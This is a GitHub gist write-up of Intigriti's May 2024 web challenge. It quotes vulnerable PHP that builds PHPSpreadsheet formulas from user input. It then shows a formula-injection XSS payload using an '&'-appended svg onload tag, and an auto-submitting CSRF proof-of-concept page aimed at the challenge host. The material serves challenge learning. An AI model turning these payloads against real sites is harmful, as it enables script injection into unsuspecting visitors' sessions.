Skip to content

Instantly share code, notes, and snippets.

@memosec
Created May 8, 2024 20:45
Show Gist options
  • Select an option

  • Save memosec/a66a4ad9beb71901d7a904fd6f6441c0 to your computer and use it in GitHub Desktop.

Select an option

Save memosec/a66a4ad9beb71901d7a904fd6f6441c0 to your computer and use it in GitHub Desktop.
Intigriti's May 2024 Web Challenge thanks to @stealthcopter

Intigriti May Challenge

This is my first write-up ever for a challenge. Glad I was able to solve this challenge, which I had a lot of fun from in the process.

The challenge link: challenge

Overview

The code for this challenge is short, I will only paste the relevant PHP code block here:

<?php
if (isset($_POST['submit'])) {
    if (empty($_POST['A']) || empty($_POST['B']) || empty($_POST['C'])) {
        echo "<div class='alert alert-danger mt-3' role='alert'>Error: Missing vars...</div>";
    }
    elseif ($_POST['A'] == 0) {
        echo "<div class='alert alert-danger mt-3' role='alert'>Error: The equation is not quadratic</div>";
    } else {
        // Calculate and Display the results
        echo "<div class='alert alert-info mt-3' role='alert'>";
        echo '<b>Roots:</b><br>';

        $discriminantFormula = '=POWER(' . $_POST['B'] . ',2) - (4 * ' . $_POST['A'] . ' * ' . $_POST['C'] . ')';

        $discriminant = Calculation::getInstance()->calculateFormula($discriminantFormula);

        $r1Formula = '=IMDIV(IMSUM(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . ')';
        $r2Formula = '=IF(' . $discriminant . '=0,"Only one root",IMDIV(IMSUB(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . '))';

        echo Calculation::getInstance()->calculateFormula($r1Formula);
        echo Calculation::getInstance()->calculateFormula($r2Formula);
        echo "</div>";
    }
}
?>

The application calculates the quadratic equation from the three inputs which we have control over, the result is reflected on the page. So my obviously initial thought was that there must be reflected XSS.

Time to exploit

We have to escape the formula correctly and get our own text in the output from the application, playing some time with the following code in my editor:

$discriminantFormula = '=POWER(' . $_POST['B'] . ',2) - (4 * ' . $_POST['A'] . ' * ' . $_POST['C'] . ')';
$r1Formula = '=IMDIV(IMSUM(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . ')';

I came up with the following inputs that popped an alert:
(B and C can be any number value)

A = 1)&"<svg onload=alert()>")
B = 2
C = 3

Because the PHPSpreadsheet library that's used to calculate the result, we have access to Excel functions, the "&" is an Excel function that combines values together.

After the shown above inputs $r1Formula becomes:

=IMDIV(IMSUM(-2,IMSQRT(4)),2 * 1)&"<svg onload=alert(document.domain)>"))

Which is then passed into: echo Calculation::getInstance()->calculateFormula($r1Formula);
This reflects the output with the payload appended, which causes the alert to popup.

So the alert pops up, but we're inputting those values ourselves, it's a self XSS as of now. How can we pop an alert on the victim's browser without user interaction?
Fortunately, the author of the challenge has not implemented any security mechanism like CSP. So we can craft a CSRF attack where we put our payload in.

POC:

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->

<body>
    <form action="https://challenge-0524.intigriti.io/challenge.php" method="POST">
        <input type="hidden" name="A"
            value="1&#41;&amp;&quot;&lt;svg&#32;onload&#61;alert&#40;document&#46;domain&#41;&gt;&quot;&#41;" />
        <input type="hidden" name="B" value="2" />
        <input type="hidden" name="C" value="3" />
        <input type="hidden" name="submit" value="" />
        <input type="submit" value="Submit request" />
    </form>
    <script>
        history.pushState('', '', '/');
        document.forms[0].requestSubmit();
    </script>
</body>
</html>

Put the above code in a html file and give it a name, next run it with for example python -m http.server 80.
Visit localhost:80/{filename} and an alert will popup on the challenge website without user interaction.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment